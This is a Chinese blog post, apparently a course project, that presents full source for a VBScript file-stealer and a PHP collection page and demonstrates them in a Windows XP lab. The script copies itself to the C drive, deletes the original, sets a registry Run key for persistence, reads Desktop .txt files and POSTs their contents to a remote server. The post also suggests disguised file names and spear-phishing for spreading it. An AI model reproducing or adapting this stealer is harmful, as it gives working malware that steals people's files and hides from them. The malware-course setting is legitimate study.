0%

vbs窃密脚本

VBS窃密脚本

前言

​ 计算机病毒老师要让整一个大作业,形式不限,刚好对之前老师讲到的VBS脚本病毒感兴趣,所以自己也想整一个,设计了一个无害的窃密脚本,也算是巩固之前的学习。上个月找了家实习,所以博客最近更新比较慢,马上又要考试,估计后面更新随缘,等这段时间忙过去就好了,主要在公司实习做的主动防御,也就是流量分析和样本分析,这些内容不好写,后面碰到可以写的就发到博客上面来。

正文

测试环境:虚拟机:WindowsXP SP3 ip:192.168.2.134

​ 物理机:Windows10 ip:192.168.2.1

先把VBS脚本内容贴出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
set fso=createobject("scripting.filesystemobject") '创建文件系统对象
if fso.getFile(Wscript.ScriptFullName)="C:\here.vbs" then '检测是否在指定路径中
scan("C:\Documents and Settings\Administrator\桌面")
sub scan(folder_) '写一个扫描过程
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file) '获取文件后缀
ext=lcase(ext) '后缀名转换成小写字母
if ext="txt" then '寻找txt文件
set self=fso.opentextfile(file,1)
information=self.readall '读取文件内容
Set http = CreateObject("Msxml2.XMLHTTP") '创建HTTP连接对象
http.open "POST", "http://192.168.2.1/vbstest.php", False '对http服务器发起post请求
http.setRequestHeader "CONTENT-TYPE","application/x-www-form-urlencoded"
http.send "information="&file+" : "&information '格式化发送内容
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目录
scan(subfolder) '用递归的方式遍历子目录
next
end sub
else '不在时将其放到指定路经并设置注册表开机自启
set self=fso.opentextfile(wscript.scriptfullname,1)
set selfpath=fso.getFile(wscript.scriptfullname)
vbscopy=self.readall
self.close
selfpath.delete() '自删除
set ap =fso.opentextfile("C:\here.vbs",2,true)
ap.write vbscopy
ap.close
set shell=WScript.CreateObject("WScript.Shell")
shell.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\here","C:\here.vbs","REG_SZ" '修改注册表以达到自启动
end if

脚本语言配合注释很好理解,代码不多阐述

代码的主要功能:

​ 脚本文件启动后会将自身复制到c盘根目录下(可以修改到任意目录和文件名称,以增强隐蔽性),同时将复制的文件通过修改注册表,加入到开机自启动项中,实现开机自启,然后自删除。

​ 复制文件随着开机自启会扫描桌面目录及其子目录上的txt文件(可以修改代码使之扫描任何目录和其子目录),并且将文件内容发送到远程的http服务器上,达到窃密的效果。

脚本效果展示:(图有点糊,凑合看吧)

将脚本放到桌面运行:

YqYb9S.png

运行here.txt.vbs

YqYLcQ.png

运行后脚本消失

Yqt9hT.png

同时在c盘根目录下发现vbs脚本

下面在物理机中启动http服务器,服务器搭设和脚本无关,在此不描述,在网站根目录写入php文件,用来接受脚本发来的消息,并将消息追加到同目录下information.txt文件下:

PHP代码如下:

1
2
3
4
5
6
7
8
9
<?php
echo "This is an information collection site that receives private information from a post request sent by a VBS script virus";
if(isset($_POST["information"])){
    $myfile = fopen("information.txt""a"); //用于将接收到的消息追加到information.txt中
    fwrite($myfile, date("Y-m-d H:i",time())."\n");
    fwrite($myfile, $_POST['information']."\n");
    fclose($myfile);
}
?>

在虚拟机浏览器连接测试网络连通性:

YqtnN6.png

OK 测试无误

重启测试脚本是否自启动,并且将桌面目录以及其子目录txt文件发送到服务器:

我在XP桌面目录以及其子目录下新建2个txt文件,如下:

Yqt1jH.png

txt文件内容如下:

YqttEt.png

重启XP:(这熟悉的画面,我的青春回来了)

YqUAT1.png

Yqtruj.png

重启后XP无任何异常

在物理机网站根目录下查看information.txt文件:

YqNERS.png

NICE!!!接受到了脚本发来的数据

总结

总结:

在设计脚本的时候按照病毒的特性去设计的,但是考虑到脚本仅用于实验,所以设计了一个无害的窃密脚本,以下归纳一些此脚本的特性:

  1. 隐蔽性:

脚本在运行后我复制到一个用户未知的文件夹中,然后自删除,且可以将脚本名称改为例如:“system.ini.vbs”之类迷惑用户,达到隐蔽的目的,且脚本在执行窃密时无任何反应。

  1. 自启动性

脚本会将复制挪移后的脚本文件加入到注册表中的自启动项中,达到每次的开机自启窃密的目的。

  1. 破坏性

  1. 传染性

无传染文件的行为

  1. 传播性

靠黑客社工或者鱼叉攻击吧

  1. 可触发性:

随着开机启动触发脚本

此脚本无自我恢复性,清除脚本只需要找到脚本文件删除并将注册表项删除即可。

注意:这个VBS脚本目前只在XP上可以运行,在Windows10上弄不起来,应该时Windows10的一些安全策略的影响,不过这玩意也是要淘汰的,就当是复古一下吧